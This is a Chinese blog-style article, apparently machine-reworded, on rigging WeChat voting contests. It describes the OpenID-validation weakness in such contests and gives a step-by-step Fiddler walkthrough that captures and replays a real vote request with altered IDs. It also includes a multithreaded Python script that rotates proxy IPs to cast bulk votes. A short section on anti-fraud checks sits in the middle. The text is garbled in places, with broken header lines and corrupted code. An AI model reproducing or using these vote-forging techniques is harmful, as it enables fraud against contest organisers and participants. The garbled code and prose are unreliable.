快到年末了,家中的微信聊天群又红火了起來,大家族里有几个亲朋好友已经参与某评定主题活动的手机微信投票主题活动,因此七大姑八大姨每天在群内使我们帮着投票,家人了解我是搞IT技术应用的就惦记着要我搞个刷票手机软件,全自动刷票。因此我便花了些历经科学研究了一下这一灰色产业!
今日就将我近期分析的体会心得给各位介绍一下,让我们熟悉一下微信刷票手机软件的原理与完成!
一、 手机微信的刷票方法
手机微信刷票关键有这两种方法,软件开发技术刷票和人工网络水军刷票。
人工刷票:人工刷票,便是应用投票网络水军来刷票。店家热衷搞手机微信投票主题活动,一些空闲时间多的人员发觉了这当中的店家,以协助参赛选手投票来得到提成。这些人大部分是为做兼职投票手投票员,外部一般称大家为投票网络水军。人工水军刷票的原理就比较简单,便是建立一个手机微信投票任务群,把投票每日任务发至群里边就进行刷票了,便是那么简单。一个群不足用,就多建立好多个群就可以了。
现阶段在网上许多刷票精英团队,自称为全是人工刷票,实际上大部分全是假的,为什么呢?因为你看他的收费标准就知道投100票价钱很有可能在10元上下,因此一票很有可能都不上一毛钱,这一还需要给网络水军们分因此盈利并不高,除非是货运量尤其大。因此几乎是用刷票手机软件刷票。
假如你要分辨你的是人工刷票,你能使他把投票的截屏都发给你,我想他是不可能为你的,哈哈哈,假如确实让你,你的投票价钱至少一票要3角钱以上!
软件开发技术刷票:刷票手机软件原理大部分 是根据抓包工具剖析递交投票时生产的数据信息,随后应用脚本制作程序流程大批量递交数据信息就到达了刷票的目地。在其中最高的难点便是怎样提升限定,例如ip限制,短信验证码限定,微信登录受权限定等。这种刷票专用工具在网上也是有许多,可是绝大部分实际效果都不太好,会被服务平台限制住。
二、 手机微信投票主题活动的系统漏洞和刷票方式方法
普遍系统漏洞如下所示:
1、在微信投票的活動中,会出现二种进行投票的状况,一种是进行投票的网络服务器是单独的,仅仅使用了手机微信的投票服务平台,在微信开展了投票以后,会有一个投票分享的实际操作,将主题活动中的投票状况发送给进行投票的网络服务器。另一种是同时使用微信的云服务器来进行投票的实际操作,这样的事情则无需开展投票分享的实际操作,投票状况立即在微信服务器上进行操纵。
2、在微信投票的活動中必须的是微信帐号来开展的投票,而在微信中有一个有关微信帐号的标准,那便是每一个数据加密后的微信帐号都是会产生一个OpenID,每一个客户的OpenID在微信上来讲全是唯一的。那麼当客户开展投票后,如果是必须将投票发送给独立主机的,微信公众平台则会应用POST主要参数将包括投票客户的OpenID的消息发送给投票网络服务器,投票服务器在接受到微信公众平台推送来的投票POST要求以后,便会在自身的网络服务器根据比照OpenID来确定同一微信帐号的投票频次。假如不用发送给投票网络服务器的,则立即在微信服务器上确定OpenID的投票状况。
3、 如果是单独的投票网络服务器在接受到POST要求时,只有对这一推送来的OpenID开展投票频次的分辨,可是由于没法应用微信服务器的数据信息,就没法对这一OpenID开展真实有效的认证,这也是手机微信投票主题活动的一个挺大的系统漏洞。就算是同时应用微信公共号票来开展的投票主题活动,尽管可以同时认证OpenID的真实有效,可是只要用方式方法关联一些OpenID恰当的微信帐号来开展投票实际操作便可以利用此项认证了。拥有这一系统漏洞就十分有利于来应用一些方式方法完成手机微信刷票的实际操作。
普遍的刷票方式方法:
1、对于手机微信投票主题活动没法校检OpenID真实有效的系统漏洞,可以先应用一个微信号开展一次投票实际操作,运用此次实际操作来获得有关的数据网络。这一数据信息中会包括POST要求的主要参数及其內容。随后根据脚本制作,例如Fiddler或是Python都能够,来自身搭建一个POST的要求,该请求中技术参数和內容确保与获得到的真正数据信息一致,随后依照真正OpenID的文件格式随机生成OpenID,必须刷是多少投票数就开展几回POST要求,便可以完成简洁的刷票实际操作了。
2、针对有IP限定的手机微信投票主题活动,可以应用CURL来仿冒IP地址,那样就可以生产制造好几个IP来刷票了。
二、 普遍的避免刷票方式
1、 仅有关心了微信公众号才可以投票
在服务项目启用获得客户基础信息
API插口会回到下列数据信息:
当客户投票且未关心时,大家可依据subscribe是0或是1分辨是否有关心,若沒有关心则转到微信公众号的二维码网页页面并显示客户先长按二维码扫码关注。此办法的系统漏洞便是每一次投票都需要与微信服务器开展互动。
2、 分辨refer和User-Agent
下列为一个request header的部份主要参数实例:
Referer为上一个浏览的网页页面,因此refer务必要为投票的网页页面详细地址。User-Agent里边务必有关键字MicroMessenger
3、限定手机客户端投票频次
用ip当做同一个ip投票频次受到限制,因为许多情况下应用nginx或apache之类的服务器代理,因而立即应用HttpServletRequest的getRemoteAddr()许多情况下获得的是服务器代理的ip,而我们要获得的是真正的ip址。下边是一个获得真正ip的实例编码
4、当投票量超过阅读量时便是刷票个人行为
储存网页页面阅读量,投票进行后,测算投票数若投票量超过阅读量时便是刷票个人行为。
5、在表单提交数据信息的地区应用检验码
服务器端回到一个检验码,在dom复位的情况下网页页面应用js加密这一检验码,commit的情况下递交这一数据加密的检验码,服务器端再分辨这一加登陆密码的检验码是不是恰当。检验码设定应用N次后就废止。
下列为伪代码
服务器端解决:
四、 手机微信刷票手机软件常用的完成方式
1、运用fiddler抓包软件 完成手机微信投票(原理是运用OpenID真实有效的系统漏洞)
第一步:最先在电脑上下载微信软件
一般手机微信投票都必须扫码关注才可以投票,因此务必用电脑微信打开连接进到投票页面 免费下载好以后,开启微信登陆微信帐号。随后把投票网站地址拷贝发送至文件传输助手,这时先不必开启。
第二步:安装下载且开启抓包软件fiddler
第三步:如今返回微信打开刚刚要投票的网站地址,这时打开抓包软件
第四步:根据大家刚刚在微信里投票的全过程,下面大家看来下fiddler里的状况
发生了那些数据信息,必须对这种数据开展分析。找到哪个才是大家投票的数据
最终通过分析,找到了这种数据
Host: t: ssl.hi.163.com
Co
Content-Type: application/x-www-form-urlencoded
Origin: n: https://qnm.leihuo.net
Ac
Accept-Encoding: gzip, deflate
Connection: keep-alive
Accept: application/json
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Mobile/14D27 MicroMessenger/6.7.1 NetType/WIFI Language/zh_CN
Referer: r: https://qnm.leihuo.net/m/2018/hahaha/MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==/?nie=0.674688067616421&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==&uinfo=0&code=023Eqy001YcsR02oSGYZ0lRK001Eqy0Y
Co
Content-Length: 90
Accept-Language: zh-cn
wxid=ox1Mat8wMEsQ9dIoILUpNiESReNo&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==&is_pass=1
第五步:如今大家要对这种数据重新组合,开展一次分包实际操作。再次再刷一次票。
大家或是返回fiddler 此次大家必须开启这一
第六步:把大家刚刚分析到的数据分类填写,创作以后是如此的。随后大家点一下Execute按键。
第七步:大家点一下递交之后,看下手机软件回到哪些数据
第八步:这一使大家所需求的详细信息内容。可是是错码,要怎么解决呢,实际上只需看 code:-5就可以了。那样表明您已经卵化过或是投过票了。如今便是人们所必须使用的关键环节。
第九步:返回大家刚刚大家点一下递交的地区。把以下数据随意改一下。可是十位数不必降低也不能提升,再度递交 。
第十步:最终大家看下回到信息内容
嘿嘿,刷投票成功了!!!
2、运用Python语言表达撰写脚本制作完成微信刷投票(提升ip限制的投票方式)
对于这些手机微信投票只限定ip 由来的方法,大家可以用如下所示方法开展刷投票:
第一步:在网络上检索很多的ip代理 ,创建一个代理ip地址表
第二步:用Python撰写一个全自动实行脚本制作
编码如下所示:
1. #coding=utf-8 2. import urllib2 3. import urllib 4. import re 5. import threading 6. import sys 7. from time import ctime 8. import time 9. rlock = threading.RLock() 10. def vote(proxyIP,i,urls): 11. try: 12. #print \"voting...%d...\" % i 13. #应用代理商IP 14. proxy_support = urllib2.ProxyHandler(proxyIP) 15. opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler) 16. #界定Opener 17. 18. urllib2.install_opener(opener) 19. #把opener关联到全局性 20. 21. sendt = \'投票\'.decode(\'utf-8\').encode(\'gb2312\') 22. 23. #设定刷投票详细地址 24. #post数据bn 25. values = {} 26. req = urllib2.urlopen(urls) 27. #立即开启这一URL 28. html = req.read() 29. #载入回到数据 30. if html.find(\'true\'.decode(\'utf-8\').encode(\'gb2312\')): 31. print \"投票 [%d] 取得成功\" % i 32. return 1 33. else: 34. print \"投票 [%d] 不成功\" % i 35. return 0; 36. except Exception: 37. return False 38. 39. if ._name__ == \"._main__\": 40. args = sys.argv 41. if(len(args) == 3): 42. ipFile = open(args[1]); 43. ipList = ipFile.readlines() 44. ipFile.close() 45. length = range(len(ipList)) 46. threads = [] 47. for i in length: 48. ipLine = ipList[i] 49. 50. ip=ipLine.strip() 51. proxy_ip = {\'http\': ip} 52. t = threading.Thread(target=vote,args=(proxy_ip,i,args[2])) 53. print \"get \",args[2],ip 54. threads.append(t) 55. for i in length: 56. threads[i].start(); 57. if i0: 58. time.sleep(5) 59. #每100个进程等候 5秒 60. for i in length: 61. threads[i].join() 62. 63. else: 64. print \"\"\"刷票工具 65. python brush.py IP文档 Get详细地址: 66. 67. \"\"\"
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。